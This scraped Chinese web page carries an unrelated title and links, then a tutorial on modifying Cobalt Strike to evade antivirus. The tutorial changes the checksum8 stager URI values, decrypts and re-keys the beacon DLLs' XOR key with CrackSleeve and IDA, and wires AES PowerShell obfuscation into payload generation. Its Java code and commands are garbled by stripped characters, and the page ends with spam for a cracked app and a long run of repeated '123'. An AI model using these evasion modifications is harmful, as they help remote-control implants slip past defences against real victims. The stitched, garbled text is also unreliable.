Hotkey Detective:解决Windows热键冲突的系统级诊断方案

核心内容摘要

清音刻墨Qwen3智能字幕系统:让字幕制作从小时缩短到分钟
ccmusic-database多场景落地:音乐节票务系统——按流派智能推荐演出场次

Mac输入设备增强方案选型:LinearMouse与BetterTouchTool深度技术对比

免杀对抗——第一百六十四天安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制前置知识上节课我们对CS进行了简单的魔改操作但是这些操作基本对流量识别影响不大因此我们本节课会继续深入进行改动包括修改Checksum8算法、Beacon密钥以及混淆算法融入等安全工具 - CS魔改二开-Checksum8算法首先是Checksum8算法它的计算逻辑上节课也讲过ASCII码之和 % 256在CS当中如果是64位木马那么checksum8的值为93如果是32位木马那么值为92因此在默认的CS当中不管流量包怎么变化只要第一个数据包中GET请求路径checksum8算法值为这两个那么基本可以确定是CS远控通道因此如果我们要对其进行免杀首当其冲地就是改动这个特征在cloudstrike/WebServer.java文件中的这个方法// checksum8算法实现publicstaticlongchecksum8(Stringtext){if(text.length()

{return0L;}else{texttext.replace(/,);longsum0L;for(intx0;xtext.length();x){sum(long)text.charAt(x);}returnsum%256L;}}// 判断是64位还是32位木马publicstaticbooleanisStager(Stringuri){returnchecksum8(uri)92L;}publicstaticbooleanisStagerX64(Stringuri){returnchecksum8(uri)93Luri.matches(/[A-Za-z

]{4});}可以看到checksum8算法中要满足url长度大于4然后经过该算法结果为92或者93那么我们这里就有两种思路不改动算法改动路径checksum8计算后的返回值来判断木马类型改动算法重新根据新的算法来判断木马类型当然前者可能需要大量的改动并且不一定成功所以我们选择后者假设我们设定路径为index.jsp为64位木马第一个GET请求包设定login.jsp为32位木马第一个GET请求包那么返回值就为147和148所以我们修改isStagerX64()方法的判定值为147L修改isStager()方法的判定值为148L此外我们还需要修改common/CommonUtils中的MSFURL()和MSFURL_X64()两个方法的返回值强制等于我们给定的两个请求路径当然这里它的逻辑是随机生成后续的URL路径所以这里我们其实可以弄得更加随机化一点不过主要是为了演示效果所以就强制返回固定值了改完之后我们重新打包构建然后上线执行看看数据包可以看到这里确实改动了但是服务端返回的是404所以这里尤其要注意需要将服务端的jar包替换成当前改动后的才行成功上线并且之前的checksum8算法特征也改动了同样32位这里也能够正常上线随机化的路径安全工具 - CS魔改二开-Beacon默认密钥参考文章CobaltStrike魔改与增强首先我们要了解由Windows Execute模块生成的就是Stager它的上线逻辑如下运行EXE - 自动生成并访问符合checksum8校验的URI进行远程下载Stager - 上线因此在这个过程中由两个特征会被捕获到URL的checksum8规则访问URL下载解析Stager关于第一个特征我们已经解决了那关于第二个特征就是默认的stager文件它是通过XOR加密的被下载下来之后解密然后上线而这个加密密钥是固定的如果采用默认密钥就会导致被文件在落地之前被杀毒软件解密识别因此无法落地在CS不同版本中异或密钥是不同的但都是固定的值CS

x版本的配置信息是通过异或0x69解密出来的CS

x版本的配置信息是通过异或0x2e解密出来的其实就是什么呢有的杀毒软件它是具有流量特征识别的功能比如卡巴和DF因此这类杀软它可能就会对这个stager文件进行扫描识别然后杀掉可以通过这个工具自行解析看看Sentinel-One/CobaltStrikeParser第一步我们需要改动sleeve/beacon.dll和sleeve/beacon

dll这两个文件这就是stager文件的原型而这两个文件是被加密的所以我们要通过网上脚本先进行解密流程如下32位beacon.dll --解密-- beacon.dll --异或-- UJQm...stager文件 64位beacon.dll --解密-- beacon.dll --异或-- UJQm...stager文件解密脚本在这里

0~

5https://github.com/GH-H4d35/CrackSleeve

7https://github.com/kyxiaxiang/CrackSleeve

4.

7

8https://github.com/kyxiaxiang/CrackSleeve

4.

8

9https://github.com/kyxiaxiang/CrackSleeve

9下载下来之后先将打包好的jar包放到当前目录然后通过如下命令解密javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java java -classpathcobaltstrike.jar;./CrackSleeve decode解密完成之后以64位为例我们找到beacon

dll文件然后用IDA打开shiftB找到xor 0x2e这里然后通过Edit-Patch program-Change byte...然后将这里的2E改为自定义的值保存之后将beacon/BeaconPayload.java代码中这里改成其十进制数再通过刚才的工具将新的dll文件加密回去之后再替换sleeve/beacon

dll文件java -classpathcobaltstrike.jar;./CrackSleeve encode打包编译完成之后记得替换服务端的jar包然后运行64位的木马看看新的stager文件是否能被刚才的工具解析出来可以看到现在解不出来了所以说我们的改动是有效果的不过卡巴依旧杀所以我们还需进一步改动比如二次异或、换加密算法等等安全工具 - CS魔改二开-PowerShell混淆融入最后我们来看一下关于Powershell的混淆免杀之前我们已经讲过了手动去调用工具进行混淆而这里我们可以改动代码让CS在生成.ps1文件时就自动生成免杀的脚本那有三种方式一种是直接将免杀后的脚本替换resources/template.x

ps1默认的文件一种是调用在生成之前调用第三方工具进行混淆一种是自己写一个混淆函数调用我们这里看看第二种找到common/ResourceUtils.java文件然后在它创建ps1文件之前调用我们之前的工具代码如下publicbyte[]_buildPowerShellNoHint(byte[]var1,Stringvar

throwsIOException,InterruptedException{Stringcommandpowershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x

ps1 -OutFile x

ps1 -Iterations 6;// 这里是你要执行的命令ProcessprocessRuntime.getRuntime().exec(command);// 读取命令输出InputStreaminputStreamprocess.getInputStream();BufferedReaderreadernewBufferedReader(newInputStreamReader(inputStream));Stringline;while((linereader.readLine())!null){System.out.println(line);}// 等待命令执行完成intexitCodeprocess.waitFor();System.out.println(命令执行完毕退出码exitCode);// 关闭流inputStream.close();reader.close();InputStreamvar3CommonUtils.resource(x

ps

;byte[]var4CommonUtils.readAll(var

;var

close();Stringvar5CommonUtils.bString(var

;byte[]var6newbyte[]{35};var1CommonUtils.XorString(var1,var

;var5CommonUtils.strrep(var5,%%DATA%%,Base

encode(var

);returnCommonUtils.toBytes(var

;}这里记得将AES-Encoder.ps1和template.x

ps1文件放到根目录下这样在我们生成powershell文件的时候就会生成混淆之后的脚本了

快猫最新破解版-快猫最新破解版应用

百度百家号客服电话人工服务

123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123 123